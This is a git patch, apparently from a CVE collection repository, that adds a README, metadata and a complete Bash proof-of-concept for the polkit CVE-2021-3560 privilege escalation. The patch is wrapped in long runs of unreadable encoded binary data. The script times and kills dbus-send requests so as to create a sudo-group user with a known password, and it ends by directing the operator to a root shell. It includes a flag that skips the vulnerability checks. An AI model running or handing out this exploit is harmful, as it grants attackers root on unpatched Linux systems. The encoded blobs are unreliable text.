zI4M<5rFi#7%zERVp!Xx3GR(sFU%i>NSLa{O5=ATK+`dUv;9%OwE&Vu)p78tw064#8 zB}6skr^-|HLK~k-iKN|=tSc=~SAM2`x2kX1MZnjc*IpK!Rovh2bEcf#PpF>Ia#mAy z`cs<6z6fPFfai95i7&Z0eT^c|Z))6bszn76?=P)7o;_{jae+Uc7fl6HsDB?`SHj^? zhI@}+a`imD8TAhp0{e;)I9+fNif=3*B}wJq^SM$3bA<2!pzCPeqG}d{0bLBgMMRZw z;9m!n>rMSuGv*z=TeL&|aecpPX^!Xq3+dB*Ne1$^#a#Noc z1Vz2ss!Vj1sH$K%GHh9bxrQ3!$`d(+?(qD;6h+Q=at87COS~XjYfUZ1;zWquuCRmX zr=M-R&Sek;K!i6gIfbsasdyH_rmr;p<)=FtA0I3*z+acbJ1x8tQOr0oJCq+CRZoq9 zG|n2a{CaP%Q)_0WQA^zv=fUe&gJ8I;6~}As%j@Ieg~yZLW9_n!Y$rvOHrx}_Vc9$V zj_(zVjgQsavgP0al@uLKT8t1DYGp+KA4tJ+p(YB-)h{0+H3LX}jYShvVEutkK&3`C z9|kCpw56s!D=yUBK)v_7jn=>3mm_Bp#f&a1*HcWXrkt^$C^tUfvDLky9RB9b(_Lp= zjSa<5Qjl3$B?6l8%?&7;H1F&|=8un=C(P6V?Z4EP?t0I5r9B_`msah`uC2EYc1PY? z;^Q0NyfMwA7^k_u@pQ;5#3@_navhH_q*Wem_*@ni)uLU*M9&%q-5l;E{I48fgZ?)8 z?$;@ynH~HF~2#F<&RXS#7h2}%}E>Y%_$`QLdxJ}v$ z9{39O(^Eey8~(1!VH+gHIc?d=BDF6XDmDk=LCr6aS9hhX>x3Uhbck;fV20dF+0wlA z_m_b&Qh$FRNp|O0TET}!hTNQr1dn{xXW(ilVBIvAf2z{w_koabbaHO)-F7%(w9ub% z+m}<<+%fnMWNgwbsvqpj=5p+H`g)QIziX}2cae!E^(4beRLGg6I&UM67b>auQ~6)X z_HP)=#*^m>89N8LxvL?I&26RxgD_u2?T+3?w^;DFyjlVC2@6K-M_mSe{54WD>{4nyDr(KqX)}-i1>?Wr%vQv{*er4b=LLb=HGD)U4%54~?uUt_-G-X1TT%cQE*x=-u2>k0HSyiK43e zfkLOka0DpJL}!a}A4PtWWj<|P3$F7^tA#g)=9IE5ThKYPFW^ zC21}d&bc3LQbJ*22EW{v7yOJyHdp0`-?TrNcC05UJ#FNjUNO%HLw z+-n#W!La^1Z$5G&e2B!iNSBbq#2}Gf{}!e7G8QQYLx}*3AayX}>28UfO}r}Uj7Hk3 z66bf=NTa!qVM0UiN)0b!(P$C&<6o!D&aJq6Fp!2(jY_I#x z7ZfLFYRb27VVyAf;hTebFk#0wOtIQv1Jw+B%O7Zp>g$Wr+)(0q_%MM(5H_I?t7g8$ z+I~X)IJzt3J2!lEwHg6HetB;BYUeUm(-X+5bwUzT1u1xb_p@zKHHMrfX}CeWCxd8a z8EYK$I2^315~Cu&>n7kk9&ry8Yw{3wH^GM$Kg)r(@-(+D6&qh~jS{^J7fl!T?ann7 zN6fq$T_hQMOi26zf2(Y;(p-bb$QOIneaabiJ&Ezh_6=i1Gk}=j=<&3^P-&S^ZmP0% zccWzRUG|9&DJu0X{Y`=1SImM_lAuIn+LZ-wF~J z(Pq0q$sj@qu~{VrV##Pq$}*x9JUdhx3cge88`nb7jwHa76)n-_uR<~7JaNmt+uX49 z%goD5M#tnZhn%Brj`6a(ytw-omE4K!KDMznDs!8#+XpEM`DoHe=`zB-oVmz`g z`q}$b?F4u^X%iq{eh{8sbUd5pU1uI2up7|jAbp3cQzVI&@HQS1JJUp(sstQe9~eom zxg^?dN@NhgtBusvYuLVH0j(yt4iEG&!W!vM7Npng_l*T+x|P;KM6o&OGO)s0@P-Tb z>0vC0ER_P^%}CXh>)pt);G;5qOee&js7~ehAkjy$ZznyS$C+9SPC+qT<4ots+hrG3 zD%X!t#!cpB&j%R#t)pPA%9>M5@bMYkFB9kNO{+ps(oCqLgg+hD7e4?K_sgUA^XFqN zc#-+C9WURn9+VF=jIO({lW^Ny{v4(5p8NFt<6)K@Tu}9pMzZ$fZ!!~XN-A`s6n-_A zC^y2PHsZ9!1_?5&eZfKUNM(~R>Q={6#+<;aDA@yF1Zw$~L$&Kk)7phnafs)8T@Y@MN)rP`|j_D^>cpF%CakxA`w9)&cM=)p8JQ^uWG;#5^~C{ zLJ^$KJ^u#b*L`iL^5#hFN%NS z?_~6E(MdKtRhXWf6B4<1KK=~Un);KGF=iF6A+eTUiHfR{o?VPZGdhg|XFyCyQQnsJ zMP<@W%uzUuoN;XS0@4p&5K%qKDgo#SHt(PFQw>!05eW276Enl8(`Kk~p}v zka&XCnZVm|;gGO+c;(p_%Yxu*mz}5VBOEAgBOz|bhOf7DRRoCo9rZpoogDF zuNN;LRm|n;dP9K4btbl1+>HIX7b|}u4{FNb#|>8;dN;eG`Nk$;+v|FpsVn`0SuJkl zEo68bnxH&lKRXsQzDUsEpskoo+44QJfD7$B(qm=(!OV!3##88o35IklIJiNxG`agj zw6nWe(FAmD%FUmd;L;RURDU)bV63wsD-L6yX(L#aJt?LT0i|nY0kc7R?3#2-o`FO3 z(+U^gwb;b0U9EkldTcljK65^-3pJ4dIt@l>e!Cx!>x-o!dT#)H^kjNCOW4rf9y_bs zsGsuD4#Fv1*LAq<7X_AX|JrdPBmjV{{y1hxYfK}KaS!rmA{Yo-^8N}tp(8#8k{ySM zU3*yMqU<4!{{b-SInr=`jl$LlDhBCJZXPC8-Mu7{Ap z80HpIbw;7CvxUE@%ozguHmVs?j+m-hO7*R9yr#mzU`>+L_(o zc_V^WuW>$XiOfNK?U&qbTdtNx-qPPV;fdPsOn%dRFXF0Hj%&~=h-SsCK`}`8#m9S9 z)Sa_`CLSRVEaggj3ML`0|6CpuE|>pGwvA zc=5ZSHgVYIdfi8R5$p1W!pVm(3%{~-PZ4-D4&~*esKOXJv7rTC8}Hu#sQbk7#-}hu zvYADRlmW`UjQB}Bw2xg~Pc(7f7K0_CSB{~cRt-8jB{Ya^P{Fx!ToILfQSCbGN!{Uh6Ff2S`aCFUxb@)yaqO|Le1rjV zWA@1ssuVP;B&+hj0JqH(%Go{sXWaI}yMKp;_DYr=#fH&SR}do%$#ke;`@DtROGzED zm7zlM)9WQ0P@#A~t)rFLcQvEMgpgN$3qx8^Q4z5@?6(8clVtqPi zZx9(8iHysQi#OvSA5-mngq#$#IbUj6Wi^P`QoOA#7LPM8Yd?D?i8xc*sPzFHakWgP3^iGNQh&i}wdeNi{e{ig zwC={K71Y}AOCRU=%*yF9;4bfq8osllu05I?`;9u1e=gbok_sw@hb92Dc2Z!MO64l^ zkUi^pRClJO%Z5hmr?Aup2AAt)Sx*qg0cIrb1g26s6BwRDpM9o$`vs*;uP*YeZ`uHI zpPsmrl)We?0^lMAb|<+Y@4J-_rh{Ac_$HT>q_1gk^Xt2w4X+(p8E-vbv$MrOXZs0EyPR}%=~!u_ zQD+380FBun1YIokKSC>j3Ahi7^8q3j;lED8Q~fyhP#lfd*X53=T%ZM)j@B2aUp~Ho z&0s|!nl0a=0^63<+$*OOZsyCwVxpK%{CI+6pz6&$o^%#&0EFF}MzW+40 zyKc3yPxa3U-33jHY@5bxWPdP1O$%-vnmL-MKHV${FY5G{!I(j~!hGJ*nXxwNu#O3% zzcvK Date: Wed, 26 Oct 2022 11:36:28 +0800 Subject: [PATCH 3/4] ADD CVE-2021-3560 --- cve/polkit/2021/CVE-2021-3560/README.md | 60 +++++ cve/polkit/2021/CVE-2021-3560/poc.sh | 324 ++++++++++++++++++++++++ cve/polkit/2021/yaml/CVE-2021-3560.yaml | 20 ++ other_list.yaml | 2 + 4 files changed, 406 insertions(+) create mode 100644 cve/polkit/2021/CVE-2021-3560/README.md create mode 100644 cve/polkit/2021/CVE-2021-3560/poc.sh create mode 100644 cve/polkit/2021/yaml/CVE-2021-3560.yaml diff --git a/cve/polkit/2021/CVE-2021-3560/README.md b/cve/polkit/2021/CVE-2021-3560/README.md new file mode 100644 index 00000000..6c32213c --- /dev/null +++ b/cve/polkit/2021/CVE-2021-3560/README.md @@ -0,0 +1,60 @@ +# CVE-2021-3560-Polkit-Privilege-Esclation PoC + +## Original research by Kevin Backhouse +This is just a Bash PoC script, that automates the exploitation steps mentioned in Kevin Backhouse's blog. +Read his post on this vulnerability: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ + +## Usage +```bash +USAGE: + ./poc.sh + -h --help + -u=Enter custom username to insert (OPTIONAL) + -p=Enter custom password to insert (OPTIONAL) + -f=y, To skip vulnerability check and force exploitation. (OPTIONAL) + -t=Enter custom sleep time, instead of automatic detection (OPTIONAL) + Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms +Note: +Equal to symbol (=) after specifying an option is mandatory. +If you donot specify the options, then the script will automatically detect the possible time and +will try to insert a new user using that time. +Default credentials are 'secnigma:secnigmaftw' +If the exploit ran successfully, then you can login using 'su - secnigma' +and you can spawn a bash shell as root using 'sudo bash' +``` + +## Things to note: +- This exploit works only on distributions that have installed `accountsservice` and `gnome-control-center` and it must have `polkit` version 0.113 (or later) OR `0-105-26` (Debian fork of `polkit`). +- This exploit was tested on `Ubuntu` `20.04`, with `polkit` version `0-105-26` (Debian fork of `polkit`) and `Centos 8` with polkit version `0.115`. If you are sure that your target is vulnerable, but the exploit's check function fails, use the `-f=y` flag to bypass all checks and force the exploit. +- Distributions such as RHEL 8, Fedora 21, Debian testing ("bullseye") and Ubuntu 20.04 are found to be vulnerable. +- A list of distribution compatibility can be found from Kevin's [blog](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history). +- This script injects a new user in sudo group. If the exploit worked, we can login to the account using `su - ` with the password provided to the script, and then enter `sudo bash` to drop into a root shell! +- Since this attack relies on precise timing, **MULTIPLE TRIES ARE USUALLY REQUIRED** for this exploit to work. +- ** WARNING: DO NOT RUN THIS SCRIPT IN GRAPHICAL LOGIN!** +- If this script is run in a graphical login environment, the loop will keep popping the polkit authentication repeatedly. So, run this exploit only inside an SSH/NC shell. +- If that ever happens, press `Esc` key to close the authentication prompt and `Ctrl+C` to terminate the script in a quick manner. + +## How the exploit works? +Comprehensive explanation and PoC to exploit this manually is given at the researcher's blog in detail. + + *TL;DR* of this exploit is given below: + +- This attack requires precise timing and we have to login via SSH (or some command line session, where opening graphical applications are not an option). +- An attacker can exploit this vulnerability by triggering `polkit` by sending a `dbus` message, but closing the request abruptly, while `polkit` is processing the request. Then the attacker can send a second request with the previoud request's unique bus identifier, to execute the request as UID `0` a.k.a `root`. +- This vulnerability exists in `polkit`, because it treats the UID of a connection with a bus identifier that no longer exists, as a request from UID `0`. Which means that, if we can time the attack correctly and terminate our first request at the right moment, then we can request the second request with the privileges of UID `0` a.k.a `root`. +- The timing to terminate the connection is calculated as the time required to send the dbus-message / 2. Explained in detail [here](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#exploitation). + +## What actually does this script do? +Like I said before, this is just a bash script that automates Kevin Backhouse's PoC. The core commands are the same; I just automated some initial steps (like getting the timing right, scanning for vulnerability, custom credentials insertion, printing pretty colors etc). + +If this script has been run without any parameter, then the default behaviour of this script is as follows: +- Check the distribution type. [Using `/etc/os-release` file.] +- Checks for installation of `accountservice` and `gnome-control-center`. [In `rhel/centos/fedora`, uses `rpm -qa` and in `debian/ubuntu` distributions, it uses `dpkg -l`]. +- If the installations are found, then the script checks of polkit version. [ 0.113 (or later) for `rhel.centos,fedora` and `0-105-26` for `Debian/Ubuntu`] +- If polkit version is found to be vulnerable, the script starts exploitation +- First, the script finds the time required to send the request using debus-send by issuing ```bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null ``` +- Then, the time to terminate the request (`$t`) is calculated by dividing the time required to request by 2. (`$t=time-required-to-request/2`) [Calculated using awk] +- After the time (`$t`) is calculated, the request to insert the `$username` `secnigma` to the target is repeated 20 times. ```bash +dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! ``` +- If the user insertion is succesful, [found using `id secnigma`], then a password hash is generated [using ```bash openssl passwd -5 `echo -n $password` ``` ]. (`$password=secnigmaftw`) +- Then the password hash insertion command is executed for 20 times. ```bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $! ``` \ No newline at end of file diff --git a/cve/polkit/2021/CVE-2021-3560/poc.sh b/cve/polkit/2021/CVE-2021-3560/poc.sh new file mode 100644 index 00000000..e6a8fb4f --- /dev/null +++ b/cve/polkit/2021/CVE-2021-3560/poc.sh @@ -0,0 +1,324 @@ +#!/bin/bash + +$USR +$PASS +$TIME +$FORCE + +RED='\033[0;31m' +GREEN='\033[0;32m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color +# Argparse +function usage(){ + echo "CVE-2021-3560 Polkit v0.105-26 Linux Privilege Escalation PoC by SecNigma" + echo "" + echo "Original research by Kevin Backhouse" + echo "https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#vulnerability" + echo "" + echo "USAGE:" + echo "./poc.sh" + echo "Optional Arguments:" + echo -e "\t-h --help" + echo -e "\t-u=Enter custom username to insert (OPTIONAL)" + echo -e "\t-p=Enter custom password to insert (OPTIONAL)" + echo -e "\t-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)" + echo -e "\t-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)" + echo -e "\tFormat to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms " + echo -e "Note:" + echo -e "Equal to symbol (=) after specifying an option is mandatory." + echo -e "If you don't specify the options, then the script will automatically detect the possible time and" + echo -e "will try to insert a new user using that time." + echo -e "Default credentials are 'secnigma:secnigmaftw'" + echo -e "If the exploit ran successfully, then you can login using 'su - secnigma'" + echo -e "and you can spawn a bash shell as root using 'sudo bash'" + printf "${RED}IMPORTANT: THIS IS A TIMING BASED ATTACK. MULTIPLE TRIES ARE USUALLY REQUIRED!!${NC}\n" + echo -e "" +} + + +while [ "$1" != "" ]; do + PARAM=`echo $1 | awk -F= '{print $1}'` + VALUE=`echo $1 | awk -F= '{print $2}'` + case $PARAM in + -h | --help) + usage + exit + ;; + -u) + USR=$VALUE + ;; + -p) + PASS=$VALUE + ;; + -t) + TIME=$VALUE + ;; + -f) + FORCE=$VALUE + ;; + *) + echo "ERROR: unknown parameter \"$PARAM\"" + usage + exit 1 + ;; + esac + shift +done + + + + + +if [[ $USR ]];then + username=$(echo $USR) +else + username="secnigma" +fi +printf "\n" +printf "${BLUE}[!]${NC} Username set as : "$username"\n" +if [[ $PASS ]];then + password=$(echo $PASS) +else + + password="secnigmaftw" +fi +# printf "${BLUE}[!]${NC} Password set as: "$password"\n" + +if [[ $TIME ]];then + printf "${BLUE}[!]${NC} Timing set to : "$TIME"\n" +else + + printf "${BLUE}[!]${NC} No Custom Timing specified.\n" + printf "${BLUE}[!]${NC} Timing will be detected Automatically\n" +fi + +if [[ $FORCE ]];then + printf "${BLUE}[!]${NC} Force flag '-f=y' specified.\n" + printf "${BLUE}[!]${NC} Vulnerability checking is DISABLED!\n" +else + + printf "${BLUE}[!]${NC} Force flag not set.\n" + printf "${BLUE}[!]${NC} Vulnerability checking is ENABLED!\n" +fi + + +t="" +timing_int="" +uid="" + + +function check_dist(){ + dist=$(cat /etc/os-release|grep ^ID= | cut -d = -f2 |grep -i 'centos\|rhel\|fedora\|ubuntu\|debian') + echo $dist + +} + + + + +function check_installed(){ + name1=$(echo $1) + d1=$(echo $2) + if [[ $(echo $d1 | grep -i 'debian\|ubuntu' ) ]]; then + out=$(dpkg -l | grep -i $name1|grep -i "query and manipulate user account information\|utilities to configure the GNOME desktop") + echo $out + else + if [[ $(echo $d1 | grep -i 'centos\|rhel\|fedora' ) ]]; then + out=$(rpm -qa | grep -i $name1|grep -i "gnome-control-center\|accountsservice") + echo $out + fi + fi +} + +function check_polkit(){ + d=$(echo $1) + if [[ $(echo $d|grep -i 'debian\|ubuntu') ]]; then + out=$(dpkg -l | grep -i polkit|grep -i "0.105-26") + else + if [[ $(echo $d|grep -i 'centos\|rhel\|fedora') ]];then + out=$(rpm -qa | grep -i polkit|grep -i '0.11[3-9]') + fi + fi + echo $out +} + +function float_to_int(){ + floating=$(echo $1) + temp_val=$(echo ${floating:2:$((${#floating}))}) # Remove point + echo "`expr $temp_val / 1`" +} + +function inc_float(){ + floating=$(echo $1) + int_val=$(float_to_int $floating) + val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val + 1`'/g') + echo $val +} + +function dec_float(){ + floating=$(echo $1) + int_val=$(float_to_int $floating) + val=$(echo $floating | sed -e 's/'`echo $int_val`'/'`expr $int_val - 1`'/g') + echo $val +} + +function fetch_timing(){ +exec 3>&1 4>&2 # Extra file descriptors to catch error +out=$( { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null 2>&4 1>&3; } 2>&1 ) +tmp=$(echo $out |grep -i "real"|awk -F '.' '{print $2}') +tmp_timing=$(echo ${tmp:0:$((${#tmp}-10))}) +exec 3>&- 4>&- # release the extra file descriptors +echo $tmp_timing +} + +function calculate_timing(){ +tmp_timing=$(echo $1) +size_tmp_timing=(echo ${#tmp_timing}) + +t=$(awk "BEGIN {print `echo $tmp_timing/2`}") +echo $t +exit +size_t=$(echo ${#t}) +if [[ "size_t" -gt "size_tmp_timing" ]] ; then + t=${t%?} +else + if [[ "size_t" -lt "size_tmp_timing" ]] ; then + t=$(awk "BEGIN {print `echo $tmp_timing/2`}") + fi +fi +echo $t +} + + + +function insert_user(){ + # Time required to finish the whole dbus-send request + time_fetched=$(fetch_timing) + + # Time to sleep + timing=$(calculate_timing `echo "0."$time_fetched`) + + temp_count=$(inc_float `echo $timing`) + count=$(float_to_int $temp_count) + + if [[ $TIME ]]; then + t="" + t=$(echo $TIME) + else + t="" + t=$(echo $timing) + fi + if [[ $(id `echo $username` 2>/dev/null) ]]; then + uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1) + echo $uid","$t + else + + loop_count=20 + for i in $(seq 1 $loop_count|sort -r) + do + if [[ $(id `echo $username` 2>/dev/null) ]]; + then + uid=$(id `echo $username`|cut -d = -f2|cut -d \( -f1) + echo $uid","$t + else + dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>/dev/null & sleep `echo $t`s 2>/dev/null; kill $! 2>/dev/null + fi + + + done +fi + +} + + + +function insert_pass(){ + ti=$(echo $1) + u_id=$(echo $2) + hash1=$(openssl passwd -5 `echo -n $password`) + temp_count=$(inc_float `echo $ti`) + count=$(float_to_int $temp_count) + time=$(echo $ti) + loop_count=20 + for i in $(seq 1 $loop_count|sort -r) + do + dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye 2>/dev/null & sleep `echo $ti`s 2>/dev/null; kill $! 2>/dev/null +done +return 1 + +} + +function exploit(){ + printf "${BLUE}[!]${NC} Starting exploit...\n" + printf "${BLUE}[!]${NC} Inserting Username `echo $username`...\n" + + ret=$(insert_user) + t=$(echo $ret|cut -d , -f2) + uid=$(echo $ret|cut -d , -f1) + + if [[ $(id `echo $username` |grep -i `echo $username`) ]]; then + printf "${GREEN}[+]${NC} Inserted Username `echo $username` with UID `echo $uid`!\n" + printf "${BLUE}[!]${NC} Inserting password hash..." + echo $timing + ret=$(insert_pass $(echo $t) $(echo $uid)) + if [[ "$ret" -ne "1" ]]; then + printf "${BLUE}[!]${NC} It looks like the password insertion was succesful!\n" + printf "${BLUE}[!]${NC} Try to login as the injected user using su - `echo $username`\n" + printf "${BLUE}[!]${NC} When prompted for password, enter your password \n" + printf "${BLUE}[!]${NC} If the username is inserted, but the login fails; try running the exploit again.\n" + printf "${BLUE}[!]${NC} If the login was succesful,simply enter 'sudo bash' and drop into a root shell!\n" + else + printf "${BLUE}[!]${NC} It seems like the password injection FAILED!\n" + printf "${BLUE}[!]${NC} Aborting Execution!\n" + printf "${BLUE}[!]${NC} Usually multiple attempts are required to get the timing right. Try running the exploit again.\n" + printf "${BLUE}[!]${NC} If the exploit doesn't work after several tries, then you may have to exploit this manually.\n" + + fi + + + else + printf "${RED}[x]${NC} Insertion of Username failed!\n" + printf "${BLUE}[!]${NC} Aborting Execution!\n" + printf "${BLUE}[!]${NC} Usually multiple attempts are required to get the timing right. Try running the exploit again.\n" + printf "${BLUE}[!]${NC} If the exploit doesn't work after several tries, then you may have to exploit this manually.\n" + fi + +} + +if [[ "$FORCE" == "y" ]]; then + exploit + +else + printf "${BLUE}[!]${NC} Starting Vulnerability Checks...\n" + printf "${BLUE}[!]${NC} Checking distribution...\n" + dist=$(check_dist) + printf "${BLUE}[!]${NC} Detected Linux distribution as `echo $dist`\n" + + printf "${BLUE}[!]${NC} Checking if Accountsservice and Gnome-Control-Center is installed\n" + ac_service=$(check_installed $(echo "accountsservice") $dist) + gc_center=$(check_installed $(echo "gnome-control-center") $dist) + + + if [[ $ac_service && $gc_center ]] + then + printf "${GREEN}[+]${NC} Accounts service and Gnome-Control-Center Installation Found!!\n" + printf "${BLUE}[!]${NC} Checking if polkit version is vulnerable\n" + polkit=$(check_polkit $(echo $dist)) + if [[ $polkit ]] + then + printf "${GREEN}[+]${NC} Polkit version appears to be vulnerable!!\n" + exploit + else + printf "${RED}[x]${NC} ERROR: Polkit version does not appears to be vulnerable!!\n" + printf "${BLUE}[!]${NC} Aborting Execution!" + printf "${BLUE}[!]${NC} You might want to use the '-f=y' flag to force exploit\n" + fi + + + + else + printf "${RED}[x]${NC} ERROR: Accounts service and Gnome-Control-Center NOT found!!\n" + printf "${BLUE}[!]${NC} Aborting Execution!\n" + fi +fi \ No newline at end of file diff --git a/cve/polkit/2021/yaml/CVE-2021-3560.yaml b/cve/polkit/2021/yaml/CVE-2021-3560.yaml new file mode 100644 index 00000000..4ac23980 --- /dev/null +++ b/cve/polkit/2021/yaml/CVE-2021-3560.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-3560 +source: https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation +info: + name: Polkit(PolicyKit)是类Unix系统中一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯。pkexec是Polkit开源应用框架的一部分,可以使授权非特权用户根据定义的策略以特权用户的身份执行命令。 + severity: high + description: | + 发现polkit可能被欺骗,绕过D-Bus请求的凭据检查,将请求者的权限提升到root用户。 + scope-of-influence: + 2009年5月至2022年1月发布的所有 Polkit 版本 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-3560 + - https://ubuntu.com/security/CVE-2021-3560 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2021-3560 + cwe-id: CWE-754,CWE-863 + cnvd-id: None + kve-id: None + tags: cve2021,权限提升 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 0da73d52..0081dbae 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -2,4 +2,6 @@ cve: linux-kernel: - CVE-2022-0995 + polkit: + - CVE-2021-3560 cnvd: \ No newline at end of file -- Gitee From 30bc2a2e069fa10d2e1924856f67e6c9592bf429 Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Wed, 26 Oct 2022 11:40:55 +0800 Subject: [PATCH 4/4] UPDATE CVE-2021-3560 --- cve/polkit/2021/yaml/CVE-2021-3560.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/polkit/2021/yaml/CVE-2021-3560.yaml b/cve/polkit/2021/yaml/CVE-2021-3560.yaml index 4ac23980..d378eb64 100644 --- a/cve/polkit/2021/yaml/CVE-2021-3560.yaml +++ b/cve/polkit/2021/yaml/CVE-2021-3560.yaml @@ -6,7 +6,7 @@ info: description: | 发现polkit可能被欺骗,绕过D-Bus请求的凭据检查,将请求者的权限提升到root用户。 scope-of-influence: - 2009年5月至2022年1月发布的所有 Polkit 版本 + 0.105 ≥ policykit ≥ 0.113 reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-3560 - https://ubuntu.com/security/CVE-2021-3560 -- Gitee

-I{Sz9bz}@hxgMflj#U+s+8#cytWt6@n_wPU z#U&Uwq*}f2J`v&}XW)jwZ)9I(Mtm+wb-!~iYdk5?lx;8_Fsx|bSpR$7sGz((tKWXw2| zHHiLj`&2=TI1U^<&5Wodb3F2fo+W02Y7Qp+)o)n%VE}ocCEK*7o-pu3_e2&8mbtt$ z>~tku(VYJkIoXJZNfF;Ln|pSmHeg(*VJetBAqy`cHy1{`DX4!5Ji4!jCv<#VhOlf9Vf}2l|ErK}`q5-*L(X<) z^mDayZ66J9jGLaZ;~qXaT?6W?7L8$N*yUm%Bq4%U_eH^}h&Yn3#5T?j*bE~xK-ZI{?w8OLi)+R% zTn;w3z|%lHkCa$&?|3=#nUSu>vJ?GpimK(t{yCE;E*u;souHJh7kJzk|K+jw@#a7f z3a_}zcN^-U>jB{&%SSEpm%g#bQ?iZ}y!~=}2b1+;ajf`LuJhv!MZqU*jU0Tx$YBvX zMKltFK<`ZL!+Y^>8Gi}xP6{HuS4Y=P$S=N4tjYWJ*3ZKH`cL?6^Ifuf?`#b(P+5ob z^3v|r+fAzkX4cb}r=jYHLJn5;;>gm(l!CEs6>*(3sm%5p@W_!{3IA;1eV@29;q5Y@ z0au0IFg)uAtUrr(U%MO8f`Rh}2`!QudXc%3J=f*`QKuM)%0MUDTSKFj#VJb7lw-@L zHad2K&LOb>eY`Aqi@o?aYWMfmXPDF9$;4&ZLxvh+T{GsK?Q55_dFWb!cACE2-x40U z2|NS4g|CI)#Q(8`=G?C7SwSx*4>M5pX{wG)d#NnuWV73TnA_#}d-t-s9r4gp`@;*vCSHL(HRg|_3)rAX zoWZaB$-B}fw)hW zAYhX;7gBuV6O2P4tkmR?KjLIQsMsaXc3bJ;lE%`K#1YjQbCP&QRq*A*Cre-H4reYV z7wdCnCd8d~al=`FrBG!r*)g6@T7^KJ>UoFhmICA8#_0u9| zo}W9PX*abazKGu84rRxF1jcNecQ-n%`{Z~X^HAg9Jr(H=B0VaUDp)Z}`+oCIr8AtC zc;&1^DJK7AmsrZ|x*|x-TMb&u2U8KcwrsDdW zCp-P~LW8=Q;9_9Xl2rUY*>zrGecl!h8gd<+hsF)X;@Lc2PAn8nOp4wTz3U(5cANa$5uR;Xg{xBsCDEYhN?o;|2eL5<3CSotkFi%ZV zB||+Edkk+JpMKsfK$XI3{_?ekE7KC!P$WVSZ}5{^gYO2h4jd=P(-jFrt|k&Utcb*I zEwJPHL-mWSDc*W}Vxw^}tB$t*<)S0}q@SCBzC_E-=?mgc4gN&8|4HN~TcK9RkdI?& zoatKuu@VR7pKXAiYRf=3BbIp<;+gI*db=-^zVDDko~z6C{DD_OBI%tKC;=qmO!lGS zCG|dTwa+=In`q{PB(wqg{k6iiUk3Mu;qk^ADmRPd_UW6eHX~|81jsw{_-LzQ z;TIXI|M|H|H1)5w_v%%W@>gV{%$|1FslKS)z#to;|01zIuJ!~<_g-Ojg-{~*FaNbG z&i4ZM+pT%~1aC_?@Q0RdB)c8y@!WmQYMQvnaJ>)rB0*V zf=V-?lM&sV(OfZ-=Wwg4Qze8?&qH%_u`UR_8gVdC;pH;}W}=wSybStKf7fZGD5P6ldZH#uDn^W3Sw>mi zfAB?dJ2ft>+a#|e4{uN)VwjPTn;dFu@2gd=$%-quu3QoU4e+N1tkrBxGyX2zU6axd zB59p5%vl6NLw>?chqkKFH_@QyX(p<#6m60@L#q}gw1sKVm4Q72$c^V|f^ps1+NlC? z=c~qQ=vC2b=!bLPxbC!HT2vZN7LGewYrc%o1qD9GGI^iCa?@?fnR=1^$Y1dOikB*A z6o)xtIjE^6uNK{A%1=f&U3jq{y;zgKvs>!%G=DiREE#N3)Yk^{uOv-1T5~dETnP zPec?;9liaAg}d&TD;4hxuO1PU^F)d!=Yi+;61Y(?`pa>pLsi^lE3&n70<`y`%3)C`$pHqj&$C_Kg^OttR0JcME|*0U)Y3R%rm{I367fIW%$QU7+Evx)_hTK7c+gXV#q2P?({w zbAH$g<6%amD&v)4(~fQ^0RA%V0Wpm^e!HLN+fjb+zQfNJ)q2})7@sa14x|&tnvQ); za)lGQvQk8P8jM$t`m^d{8!j_Jtd)>>6#l+6esD^9Ma#zFX6k1D`m{-bb=mZ3IQ?nF zu3Pz<%qa~2k&t;K5nRkb_2hN#@8Q3Yebd}FT~;J4l&o1T*xZ=aeSt%SRYZWl@U7F& z4?}7Eq&Na7YzbAuWPz2AJPgSG!SzcuYi)N_jidT|$sCJHrcle{nO!K|z2`~*PrrxL zGn&SCV30JVEB2(Zy#mp|M$r6>pb}M3kXPPpf4nJzW`_j{#>Cf`4M&vOq0$|CF2yYR zEP0;gT;9oB!s5cbzS?n&sFxv^kh_?Ez2Yrlakqtf-{V)>jBb39Q|x;wlJwhqn?C1- 